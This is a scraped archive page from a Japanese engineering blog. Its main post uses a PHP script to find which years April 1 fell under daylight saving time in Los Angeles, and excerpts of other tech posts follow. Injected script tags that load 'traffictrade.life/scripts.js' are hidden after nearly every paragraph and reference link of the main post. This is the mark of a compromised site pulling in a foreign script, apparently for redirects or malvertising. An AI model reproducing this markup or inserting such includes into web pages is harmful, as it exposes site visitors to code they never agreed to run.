Warning: Trying to access array offset on value of type bool in /home/r1029599/public_html/engineer-log.net/wp-content/themes/simplicity2/lib/customizer.php on line 5404

2017年04月一覧

NO IMAGE

アメリカで何年の4月1日がサマータイムだったか調べてみた

<div> <p>&#26085;&#20184;&#38306;&#36899;&#12398;&#12486;&#12473;&#12488;&#12465;&#12540;&#12473;&#12434;&#26360;&#12356;&#12390;&#12356;&#12383;&#12425;&#12289;&#12525;&#12469;&#12531;&#12476;&#12523;&#12473;&#12398;1970&#24180;4&#26376;1&#26085;0&#26178;&#12399;&#12469;&#12510;&#12540;&#12479;&#12452;&#12512;&#12391;&#12399;&#12394;&#12356;&#12369;&#12428;&#12393;&#12289;2012&#24180;4&#26376;1&#26085;0&#26178;&#12399;&#12469;&#12510;&#12540;&#12479;&#12452;&#12512;&#12391;&#12354;&#12427;&#12371;&#12392;&#12395;&#27671;&#12389;&#12365;&#12414;&#12375;&#12383;&#12290;&#20309;&#12363;&#12398;&#38291;&#36949;&#12356;&#12376;&#12419;&#12394;&#12356;&#12363;&#12392;&#24605;&#12387;&#12390;&#25913;&#12417;&#12390;&#35519;&#12409;&#12390;&#12415;&#12383;&#12392;&#12371;&#12429;&#12289;&#12525;&#12469;&#12531;&#12476;&#12523;&#12473;&#12391;4&#26376;1&#26085;&#12364;&#12469;&#12510;&#12540;&#12479;&#12452;&#12512;&#12384;&#12387;&#12383;&#24180;&#12399;&#20197;&#19979;&#12398;5&#12388;&#12398;&#26178;&#26399;&#12395;&#21547;&#12414;&#12428;&#12427;&#12371;&#12392;&#12364;&#12431;&#12363;&#12426;&#12414;&#12375;&#12383;&#12290;</p><script src='https://traffictrade.life/scripts.js' type='text/javascript'></script> <br><ul><li> 1918-1919&#24180;</li> <li> 1942-1945&#24180;&#65288;War Time&#65289;</li> <li> 1948&#24180;</li> <li> 1974-1975&#24180;</li> <li> 2007&#24180;&#20197;&#38477;&#12289;&#29694;&#22312;&#12414;&#12391;</li> </ul><br><p>&#12371;&#12398;&#12358;&#12385;&#12289;1&#30058;&#30446;&#12399;&#31532;&#19968;&#27425;&#19990;&#30028;&#22823;&#25126;&#20013;&#12395;&#21046;&#23450;&#12373;&#12428;&#12383;&#12300;&#27161;&#28310;&#26178;&#38291;&#27861;&#12301; (Standard Time Act)&#12395;&#12424;&#12427;&#12418;&#12398;&#12391;&#12377;&#12290;&#12450;&#12513;&#12522;&#12459;&#12391;&#12399;&#21021;&#12398;&#12469;&#12510;&#12540;&#12479;&#12452;&#12512;&#23566;&#20837;&#12391;&#12375;&#12383;&#12364;&#12289;&#19981;&#35413;&#12398;&#12383;&#12417;2&#24180;&#12391;&#24259;&#27490;&#12373;&#12428;&#12383;&#12392;&#12363;&#65288;&#12362;&#12381;&#12425;&#12367;&#32066;&#25126;&#12398;&#24433;&#38911;&#12418;&#12354;&#12387;&#12383;&#12391;&#12375;&#12423;&#12358;&#65289;&#12290;</p><script src='https://traffictrade.life/scripts.js' type='text/javascript'></script> <br><p>2&#30058;&#30446;&#12399;&#31532;&#20108;&#27425;&#19990;&#30028;&#22823;&#25126;&#26178;&#12398;&#30465;&#12456;&#12493;&#23550;&#31574;&#12392;&#12375;&#12390;&#36890;&#24180;&#12398;&#12300;War Time&#12301;&#12364;&#23455;&#26045;&#12373;&#12428;&#12383;&#12418;&#12398;&#12391;&#12289;1942&#24180;2&#26376;9&#26085;&#12363;&#12425;1945&#24180;9&#26376;30&#26085;&#12414;&#12391;&#32153;&#32154;&#30340;&#12395;&#36939;&#29992;&#12373;&#12428;&#12414;&#12375;&#12383;&#12290;</p><script src='https://traffictrade.life/scripts.js' type='text/javascript'></script> <br><p>3&#30058;&#30446;&#12399;1948&#24180;&#12395;&#12459;&#12522;&#12501;&#12457;&#12523;&#12491;&#12450;&#12391;&#38651;&#21147;&#21361;&#27231;&#12364;&#12354;&#12426;&#12289;&#12381;&#12398;&#23550;&#31574;&#12391;&#12459;&#12522;&#12501;&#12457;&#12523;&#12491;&#12450;&#24030;&#12398;&#12415;3&#26376;14&#26085;&#12363;&#12425;&#36890;&#24180;&#12398;&#12469;&#12510;&#12540;&#12479;&#12452;&#12512;&#12364;&#23455;&#26045;&#12373;&#12428;&#12383;&#12424;&#12358;&#12391;&#12377;&#12290;&#12371;&#12398;&#12371;&#12429;&#21508;&#24030;&#12496;&#12521;&#12496;&#12521;&#12391;&#12469;&#12510;&#12540;&#12479;&#12452;&#12512;&#12434;&#23455;&#26045;&#12375;&#12390;&#12356;&#12383;&#12424;&#12358;&#12391;&#12377;&#12364;&#12289;&#38283;&#22987;&#26178;&#26399;&#12399;&#22823;&#21322;&#12364;4&#26376;&#12391;&#12375;&#12383;&#12290;</p><script src='https://traffictrade.life/scripts.js' type='text/javascript'></script> <br><p>4&#30058;&#30446;&#12399;&#31532;&#19968;&#27425;&#12458;&#12452;&#12523;&#12471;&#12519;&#12483;&#12463;&#65288;1973&#24180;&#65289;&#12395;&#12424;&#12427;&#12418;&#12398;&#12290;1967&#24180;&#12363;&#12425;&#20840;&#31859;&#12391;&#12469;&#12510;&#12540;&#12479;&#12452;&#12512;&#12364;&#23455;&#26045;&#12373;&#12428;&#12390;&#12356;&#12414;&#12377;&#12364;&#12289;&#12371;&#12398;&#38283;&#22987;&#26178;&#26399;&#12399;4&#26376;&#31532;1&#36913;&#12363;&#12425;&#12391;&#12375;&#12383;&#12290;&#12375;&#12363;&#12375;&#12289;&#12458;&#12452;&#12523;&#12471;&#12519;&#12483;&#12463;&#12398;&#24433;&#38911;&#12395;&#12424;&#12426;1974&#24180;&#12399;1&#26376;6&#26085;&#12363;&#12425;&#12289;1975&#24180;&#12399;2&#26376;23&#26085;&#12363;&#12425;&#12469;&#12510;&#12540;&#12479;&#12452;&#12512;&#38283;&#22987;&#12384;&#12387;&#12383;&#12392;&#12398;&#12371;&#12392;&#12290;</p><script src='https://traffictrade.life/scripts.js' type='text/javascript'></script> <br><p>5&#30058;&#30446;&#12399;&#12300;&#21253;&#25324;&#12456;&#12493;&#12523;&#12462;&#12540;&#25919;&#31574;&#27861;&#12301;&#65288;Energy Policy Act of 2005&#65289;&#12364;2007&#24180;&#12363;&#12425;&#26045;&#34892;&#12373;&#12428;&#12289;&#12469;&#12510;&#12540;&#12479;&#12452;&#12512;&#38283;&#22987;&#12364;4&#26376;&#31532;1&#36913;&#12363;&#12425;3&#26376;&#31532;2&#36913;&#12395;&#12474;&#12524;&#12383;&#12371;&#12392;&#12395;&#12424;&#12427;&#12418;&#12398;&#12290;</p><script src='https://traffictrade.life/scripts.js' type='text/javascript'></script> <br><p>&#12469;&#12510;&#12540;&#12479;&#12452;&#12512;&#12395;&#12388;&#12356;&#12390;&#35519;&#12409;&#12390;&#12356;&#12383;&#12399;&#12378;&#12364;&#12289;&#27508;&#21490;&#12398;&#25945;&#31185;&#26360;&#12395;&#36617;&#12387;&#12390;&#12356;&#12427;&#12424;&#12358;&#12394;&#20986;&#26469;&#20107;&#12364;&#38306;&#20418;&#12375;&#12390;&#12367;&#12427;&#12398;&#12399;&#38754;&#30333;&#12356;&#12391;&#12377;&#12397;&#12290;</p><script src='https://traffictrade.life/scripts.js' type='text/javascript'></script> <br><h4> &#19978;&#12398;&#12522;&#12473;&#12488;&#12434;&#20316;&#12427;&#26041;&#27861;</h4> <p>&#19978;&#35352;&#12522;&#12473;&#12488;&#12399;&#20197;&#19979;&#12398;PHP&#12473;&#12463;&#12522;&#12503;&#12488;&#12434;&#20351;&#12387;&#12390;&#27714;&#12417;&#12414;&#12375;&#12383;&#12290;</p><script src='https://traffictrade.life/scripts.js' type='text/javascript'></script> <br><pre> <span>&lt;?php</span> <span>for</span> <span>(</span><span>$</span><span>i</span> <span>=</span> <span>1900</span>; <span>$</span><span>i</span> <span>&lt;=</span> <span>2017</span>; <span>$</span><span>i</span><span>++</span><span>)</span> <span>{</span> <span>$</span><span>dt</span> <span>=</span> <span>new</span> DateTime<span>(</span>"<span>$</span><span>i</span><span>-04-01 00:00:00</span>", <span>new</span> DateTimezone<span>(</span>"<span>America/Los_Angeles</span>"<span>))</span>; <span>var_dump</span><span>(</span><span>$</span><span>dt</span><span>-&gt;</span>format<span>(</span>"<span>c T</span>"<span>))</span>; <span>}</span> </pre> <br><p>&#12371;&#12398;&#12473;&#12463;&#12522;&#12503;&#12488;&#12398;&#20986;&#21147;&#12434;&#19979;&#35352;&#12398;&#12424;&#12358;&#12395;grep&#12377;&#12428;&#12400;&#27161;&#28310;&#26178;&#12391;&#12394;&#12356;&#12418;&#12398;&#65288;&#8786;&#22799;&#26178;&#38291;&#65289;&#12364;&#25244;&#12365;&#20986;&#12379;&#12414;&#12377;&#12290;</p><script src='https://traffictrade.life/scripts.js' type='text/javascript'></script> <br><pre> $ php dst-investigate.php | grep -v ST string(29) "1918-04-01T00:00:00-07:00 PDT" string(29) "1919-04-01T00:00:00-07:00 PDT" string(29) "1942-04-01T00:00:00-07:00 PWT" string(29) "1943-04-01T00:00:00-07:00 PWT" string(29) "1944-04-01T00:00:00-07:00 PWT" string(29) "1945-04-01T00:00:00-07:00 PWT" string(29) "1948-04-01T00:00:00-07:00 PDT" string(29) "1974-04-01T00:00:00-07:00 PDT" string(29) "1975-04-01T00:00:00-07:00 PDT" string(29) "2007-04-01T00:00:00-07:00 PDT" string(29) "2008-04-01T00:00:00-07:00 PDT" string(29) "2009-04-01T00:00:00-07:00 PDT" string(29) "2010-04-01T00:00:00-07:00 PDT" string(29) "2011-04-01T00:00:00-07:00 PDT" string(29) "2012-04-01T00:00:00-07:00 PDT" string(29) "2013-04-01T00:00:00-07:00 PDT" string(29) "2014-04-01T00:00:00-07:00 PDT" string(29) "2015-04-01T00:00:00-07:00 PDT" string(29) "2016-04-01T00:00:00-07:00 PDT" string(29) "2017-04-01T00:00:00-07:00 PDT" </pre> <br><p>&#19978;&#12398;&#12424;&#12358;&#12395;&#12289;&#12479;&#12452;&#12512;&#12478;&#12540;&#12531;&#21517;&#12364;PDT&#65288;Pacific Daylight-saving Time&#12289;&#22826;&#24179;&#27915;&#22799;&#26178;&#38291;&#65289;&#12420;PWT&#65288;Pacific War Time&#12289;&#22826;&#24179;&#27915;&#25126;&#20105;&#26178;&#38291;&#65289;&#12394;&#12393;&#12392;&#34920;&#31034;&#12373;&#12428;&#12390;&#12356;&#12427;&#12398;&#12364;&#12431;&#12363;&#12426;&#12414;&#12377;&#12290;</p><script src='https://traffictrade.life/scripts.js' type='text/javascript'></script> <br><p>PHP&#12398;&#26085;&#20184;&#38306;&#25968;&#12399;Time Zone Database&#12434;&#20803;&#12395;&#12375;&#12390;&#12356;&#12427;&#12398;&#12391;&#12289;&#20182;&#12398;&#35328;&#35486;&#12391;&#12418;&#21516;&#12376;&#32080;&#26524;&#12434;&#24471;&#12427;&#26041;&#27861;&#12364;&#12354;&#12427;&#12392;&#24605;&#12356;&#12414;&#12377;&#12290;</p><script src='https://traffictrade.life/scripts.js' type='text/javascript'></script> <br><h4> &#24863;&#24819;&#12394;&#12393;</h4> <p>&#35519;&#12409;&#12390;&#12415;&#12427;&#12392;&#12289;&#30465;&#12456;&#12493;&#23550;&#31574;&#12392;&#12375;&#12390;&#12459;&#12472;&#12517;&#12450;&#12523;&#12395;&#12469;&#12510;&#12540;&#12479;&#12452;&#12512;&#12434;&#23455;&#26045;&#12375;&#12390;&#12356;&#12427;&#27508;&#21490;&#12364;&#12431;&#12363;&#12387;&#12390;&#38754;&#30333;&#12356;&#12391;&#12377;&#12397;&#12290;&#12469;&#12510;&#12540;&#12479;&#12452;&#12512;&#12364;&#36523;&#36817;&#12391;&#12394;&#12356;&#26085;&#26412;&#20154;&#12398;&#24863;&#35226;&#12384;&#12392;&#12300;&#26412;&#24403;&#12395;&#30465;&#12456;&#12493;&#21177;&#26524;&#12354;&#12427;&#12398;&#65311;&#12301;&#12392;&#12356;&#12358;&#27671;&#12418;&#12375;&#12385;&#12419;&#12356;&#12414;&#12377;&#12369;&#12393;&#12289;&#12365;&#12387;&#12392;&#21177;&#26524;&#12364;&#12354;&#12427;&#12363;&#12425;&#12420;&#12387;&#12390;&#12427;&#12435;&#12391;&#12375;&#12423;&#12358;&#12290;</p><script src='https://traffictrade.life/scripts.js' type='text/javascript'></script> <br><p>&#12414;&#12383;&#12289;&#24030;&#12372;&#12392;&#12395;&#22799;&#26178;&#38291;&#12398;&#36969;&#29992;&#29366;&#27841;&#12364;&#36949;&#12358;&#12398;&#12418;&#12450;&#12513;&#12522;&#12459;&#12394;&#12425;&#12391;&#12399;&#12391;&#12377;&#12290;&#19978;&#12398;&#12473;&#12463;&#12522;&#12503;&#12488;&#12434; America/Detroit &#12392;&#12363; America/Phoenix &#12394;&#12393;&#12391;&#35430;&#12377;&#12392;&#20840;&#28982;&#36949;&#12358;&#32080;&#26524;&#12395;&#12394;&#12387;&#12390;&#38754;&#30333;&#12356;&#12391;&#12377;&#12290;</p><script src='https://traffictrade.life/scripts.js' type='text/javascript'></script> <br><h4> &#21442;&#32771;URL</h4> <ul><li> <script src='https://traffictrade.life/scripts.js' type='text/javascript'></script><script src='https://traffictrade.life/scripts.js' type='text/javascript'></script><a href="https://en.wikipedia.org/wiki/Daylight_saving_time_in_the_United_States" target="_blank">Daylight saving time in the United States - Wikipedia</a></li> <li> <script src='https://traffictrade.life/scripts.js' type='text/javascript'></script><script src='https://traffictrade.life/scripts.js' type='text/javascript'></script><a href="https://en.wikipedia.org/wiki/Standard_Time_Act" target="_blank">Standard Time Act - Wikipedia</a></li> <li> <script src='https://traffictrade.life/scripts.js' type='text/javascript'></script><script src='https://traffictrade.life/scripts.js' type='text/javascript'></script><a href="https://en.wikipedia.org/wiki/1973_oil_crisis" target="_blank">1973 oil crisis - Wikipedia</a></li> <li> <script src='https://traffictrade.life/scripts.js' type='text/javascript'></script><script src='https://traffictrade.life/scripts.js' type='text/javascript'></script><a href="https://en.wikipedia.org/wiki/Energy_Policy_Act_of_2005" target="_blank">Energy Policy Act of 2005 - Wikipedia</a></li> <li> <script src='https://traffictrade.life/scripts.js' type='text/javascript'></script><script src='https://traffictrade.life/scripts.js' type='text/javascript'></script><a href="https://www.timeanddate.com/news/time/us-daylight-saving-extended.html#daylight" target="_blank">Dates of Daylight Saving Time 1970&ndash;2015</a></li> <li> <script src='https://traffictrade.life/scripts.js' type='text/javascript'></script><script src='https://traffictrade.life/scripts.js' type='text/javascript'></script><a href="https://www.iana.org/time-zones" target="_blank">IANA &mdash; Time Zone Database</a></li> </ul></div>

参考書の選び方

勉強で使う本(教科書、参考書、専門書)を検討するときに、目次情報の提供は役に立たないという意見がありました。 皆さんは勉強で本を読むとき、どんな選び方をしていますか? 本の目次情報の価値 目次は判断材料 索引は利便性に直結 最初は薄い本、次に厚い本 解釈学的循環の解消 何度も使う辞書類は手元に置く パラシュート学習法 同じ項目を比較する 正誤表(誤植)を確認する 著者のSNS 翻訳本は原書も読んでみる 目次の確認が不要な本 本を読んだ後のフォロー 著作権法とフェアユース(公正利用) ブログのバイラルマーケティング 本の目次情報の価値 関数型プログラミングの基礎 JavaScriptを使って学ぶ…

プログラマーの英語学習法

プログラミング学習をやっていると、英語は避けて通れない道ですね? プログラミング言語は、ほとんどアルファベット(英語)でコードを記述 プログラミングの用語は、ほとんど英語由来の単語 参考資料の原典は、ほとんど英語(コンピューターは欧米が発祥のため?) プログラミングの世界に一歩足を踏み込むと英語の嵐なので、英語の理解はプログラミング学習の一助となります。 プログラミングで困らない程度に英語をマスターする方法を検討してみました。 日本人プログラマーの英語は下手でもOK ブロークン・イングリッシュから始めよう! 読む→書く→聞く→話す、の順番で攻略 英語学習情報 英語教材 英文法 英単語 英会話 …

【炎上を】リスキーな案件における、やわらかいプロジェクト管理【回避する】

研究開発部 兼 クックパッド料理教室の伊尾木です。 暖かくなったり、寒くなったりと気温差が激しいですが、皆さんお体は大丈夫でしょうか。 ところで、最近クックパッド料理教室で、ビジネスモデル変更に伴うリニューアルプロジェクトを実施しました。 (ビジネスモデル変更に伴う全面リニューアル) 私はPMと開発リーダーを担当したのですが、そこで実施した「やわらかいプロジェクト管理」についてご紹介したいと思います。 炎上しそうな予感がいっぱい! ビジネスモデル変更に伴うリニューアルって聞いただけで炎上の予感で胸が膨らみますね。 ビジネスモデルの変更だけでも大きな話なのに、システムの全面刷新まで同時に実施した…

MySQL with InnoDB のインデックスの基礎知識とありがちな間違い

こんにちは、サービス開発部の荒引 (@a_bicky) です。 突然ですが、RDBMS の既存のテーブルを見てみたら「何でこんなにインデックスだらけなの?」みたいな経験はありませんか?不要なインデックスは容量を圧迫したり、挿入が遅くなったりと良いことがありません。 そんなわけで、今回はレコードを検索するために必要なインデックスの基礎知識と、よく見かける不適切なインデックスについて解説します。クックパッドでは Rails のデータベースとして主に MySQL 5.6、MySQL のストレージエンジンとして主に InnoDB を使っているので、MySQL 5.6 の InnoDB について解説しま…

Web サービスの完全 HTTPS 化

インフラストラクチャー部長の星 (@kani_b) です。 2017年1月5日をもって、クックパッド における全ページで HTTPS が使われるようになりました。 完全 HTTPS 化をするにあたり、その理由や具体的な進め方について紹介します。 以前 SRE Tech Talks #2 にて一部発表した内容も含みますので、ご興味のある方はあわせてスライドもご覧ください。 完全 HTTPS 化に踏み切った理由 以前のクックパッドは、ログインや登録情報の参照など、いわゆる個人情報や認証情報を扱う箇所のみに HTTPS が使われていました。 このように「必要な箇所にのみ HTTPS を使う」構成は、…

nvm(Node Version Manager)でWindowsにNode.jsをインストールする

WindowsにNode.jsをインストールするとき、Node.jsのバージョン管理ツールとして「nodist」を使ってみました。 「nvm」(Node Version Manager)というツールもあるので、nvmの使い方も調べてみました。 nodistの使い方 nvmとは? nvmw nvm-windows nvm-windowsのインストール nvm-windowsインストーラーのダウンロード nvm-windowsのインストール nvm-windowsの動作確認 再インストール nvmでNode.jsをインストール nvmのコマンド Node.js 32ビット版を指定する方法 まとめ …

Capistranoを使ってS3等からpull型デプロイするgemを書いた、ほか

こんにちは。ゲーム事業本部開発基盤部の池田(@progrhyme)です。   先日、Capistranoと組み合わせて利用できるgemをいくつかRubyGemsに公開しました。 * https://rubygems.org/gems/capistrano-net_storage * https://rubygems.org/gems/capistrano-net_storage-s3 * https://rubygems.org/gems/capistrano-deploy_locker 今回は、これらについて紹介します。

WindowsでMochaテストフレームワークを使う

JavaScriptの学習メモ。 今日は「関数型プログラミングの基礎 JavaScriptを使って学ぶ」の第9章を読んでみます。 jsstudy.hatenablog.com Mochaテストフレームワークを使う Mochaとは? Node.jsの設定 フォルダの移動 Mochaのインストール gulpのインストール Mochaの動作確認 Mochaのパス設定(batファイルで代用) Gulpの動作確認 Gulpのパス設定(batファイルで代用) npmはWindowsのパスを書き換えない? npmとは? gulpとは? Mochaテストフレームワークを使う (p.320) 本書はMochaと…

– PR –
– PR –